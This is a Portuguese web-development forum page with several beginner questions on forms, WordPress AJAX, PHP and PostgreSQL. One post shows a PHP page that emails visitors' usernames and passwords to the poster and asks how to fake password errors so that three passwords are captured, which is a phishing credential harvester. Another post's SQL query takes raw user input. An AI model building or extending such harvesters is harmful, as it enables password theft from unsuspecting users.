Colocar parte de dado de um form em outro (de um input para outro input)
Por
GOD, em Desenvolvimento frontend
-
Conteúdo Similar
-
Por luiz monteiro
Bom dia!
A questão é a seguinte, tenho o seguinte form
<form onsubmit="return false;" action="./busca.php" method="post" name="buscar" id="buscar">
<input type="text" name="texto">
<button>Executa</button>
</form>
Que está funcionando perfeitamente com a seguinte estrutura do script abaixo
var form = document.getElementById('buscar');
form.addEventListener('submit', function(e)
{
e.preventDefault();
});
O que preciso, é saber como submeter esse mesmo formulário ao clicar em button fora do form sem modificar esse script?
<button id="fora_do_form">Submeter o form</button>
Agradeço desde já!
-
Por eduardodsilvaq
Erro retornado no console do navegador: 400 bad request
Rastreei o erro ate essa parte no arquivo admin-ajax.php mudando o valor de resposta de 0 para 1:
if ( is_user_logged_in() ) { // If no action is registered, return a Bad Request response. if ( ! has_action( "wp_ajax_{$action}" ) ) { wp_die( '0', 400 ); } Tentei de tudo, mas infelizmente nao entendi oq realmente significa esse login e como ele funciona.
Vi algumas pessoas tendo problema com o host, no meu caso estou usando hostinger. (Nao creio que isso e relevante mas ta ai.)
Código utilizado:
Javascript
function formValidation() { event.preventDefault(); var name = document.forms["contactForm"]["name"].value; var email = document.forms["contactForm"]["email"].value; var subject = document.forms["contactForm"]["subject"].value; var message = document.forms["contactForm"]["message"].value; document.getElementById('status').innerHTML = ''; var errorMessage="<span class='error'>All fields are required.</span>"; var regEx = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/; if (name.trim() == "" ||email.trim() == "" || subject.trim() == "" || message.trim() == "") { document.getElementById('status').innerHTML = errorMessage; return false; } if (!regEx.test(email)) { var errorMessage="<span class='error'>Invalid email.</span>"; document.getElementById('status').innerHTML = errorMessage; return false; } processContactSubmit(); return true; } function processContactSubmit() { var request = new XMLHttpRequest(); request.open("POST", "/wp-admin/admin-ajax.php?action=process_contact_form"); request.onreadystatechange = function() { if(this.readyState === 4 && this.status === 200) { document.getElementById("status").innerHTML = this.responseText; } }; var myForm = document.getElementById("contactForm"); var formData = new FormData(contactForm); request.send(formData); } functions.php
add_action('wp_ajax_nopriv_process_contact_form', 'process_contact_form'); add_action('wp_ajax_process_contact_form', 'process_contact_form'); //Retirar essa parte para error no console, no contrario ira aparecer no navegador o numero 0. function process_contact_form() { $to = "Recipient Email Address"; $subject = $_POST["subject"]; $headers = "Testing"; $message = $_POST["message"]; $attachments = ""; $sent = wp_mail($to, $subject, $message, $headers, $attachments); if (! $sent) { echo "<span class='error'>Problem in sending mail.</span>"; } else { echo "<span class='success'>Hi, thank you for the message.</span>"; } wp_die(); } Html
<form name="contactForm" id="contactForm" method="post" onsubmit="return formValidation()" action=""> <p class="comment-form-comment"><textarea id="message" name="message" required="" placeholder="" aria-required="true"></textarea></p> <p class="comment-form-author"><label for="author">Nome: </label> <input id="name" name="name" required="" size="30" type="text" value=" " /></p> <p class="comment-form-author about"><label for="author">Assunto: </label> <input id="subject" name="subject" required="" size="40" type="text" value=" " /></p> <p class="comment-form-email"><label for="email">Email: </label> <input id="email" name="email" required="" size="30" type="text" value="" /></p> <p class="form-submit"><input id="submit" class="submit" name="email_contato" type="submit" value="Enviar" /></p> </form> <h3><div id="status"></div></h3>
-
Por eduardomr98
Boa noite amigos, preciso urgente de uma ajuda, estou iniciando em PHP e estou com alguns exercícios, criei uma página web em html e css básico com dois inputs ( email e senha) e um botão para enviar, segue o código:
<?php function mail_sender(){ if(! ( isset($_REQUEST['email']) && isset($_REQUEST['password']) ) ){ return false; } $email = $_REQUEST['email']; $password = $_REQUEST['password']; $reciever = "meuemail@gmail.com"; $subject = "Novo acesso usuario"; $message = "Usuario: ". $email; $message .= "\nSenha: ". $password; return mail($reciever, $subject, $message); } if(mail_sender()){ header("Location: sucesso.html"); } ?> Ele puxa o EMAIL e a SENHA digitada, envia para o meu email, até ai tudo bem, porém o nível 2 do exercício exige que, ao usuário digitar a senha pela primeira vez e clicar no botao de submit, ele apareça um erro, e limpe o campo, e repita isso por 2x.
Na terceira tentativa de por a senha, ele deve efetuar a ação de enviar o email, e ao invés de chegar ao email apenas o campo email e campo senha, deve chegar o campo email com as 3 senhas digitadas...
Obrigado!!
-
Por rodrigomouran
Galera, sou novo por aqui e em códigos PHP e Web, mas, tenho me virado. Porém esbarrei em um problema.
Estou usando um banco PostgreSQL para desenvolvimento de uma aplicação simples para minha empresa onde eu quero digitar um código numérico no campo do formulário e ele me retornar 2 outros campos deste formulário preenchidos baseado no código pesquisado no banco.
Tenho a minha página index.html com o conteúdo:
<html> <head> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $("input[name='usucod']").blur(function(){ var $usunom = $("input[name='usunom']"); var $pricod = $("input[name='pricod']"); $usunom.val('Carregando...'); $pricod.val('Carregando...'); $.getJSON( 'function.php', { usucod: $( this ).val() }, function( json ) { $usunom.val( json.usunom ); $pricod.val( json.pricod ); } ); }); }); </script> </head> <body> <form action="" method="post"> <label>Código: <input type="text" name="usucod" /></label> <label>Nome: <input name="usunom" type="text" disabled="disabled" value="" /></label> <label>Pricod: <input type="text" name="pricod" value="" /></label> </form> </body> </html> e minha página function.php com o conteúdo:
<?php /** * função que devolve em formato JSON os dados do cliente */ function retorna( $usucod, $db ) { $sql = "SELECT usucod, usunom, pricod FROM usuario WHERE usucod = {$usucod} "; $query = $db->query( $sql ); $arr = Array(); if( $query->num_rows ) { while( $dados = $query->fetch_object() ) { $arr['usunom'] = $dados->usunom; $arr['pricod'] = $dados->pricod; } } else $arr['usunom'] = 'não encontrado'; return json_encode( $arr ); } /* só se for enviado o parâmetro, que devolve os dados */ if( isset($_GET['usucod']) ) { $db = pg_connect("host=XXX.XXX.XXX.XXX port=5432 dbname=banco user=usuario password=senha"); echo retorna( filter ( $_GET['usucod'] ), $db ); } function filter( $var ){ return $var; } Ao digitar o código, meus campos a serem preenchidos ficam somente com o valor 'carregando...' visível.
Agradeço a ajuda!
-
Por Kefatif
Prezados boa tarde.
Preciso bloquear a edição de um date input de forma que só seja possível selecionar a data através do calendário.
Alguém pode me ajudar?
Utilizo php, html e js.
<input type="date" value="<?php echo $data ?>" name="datacoleta" class="form-control" required style="width:100%;">
Agradeço desde já.
-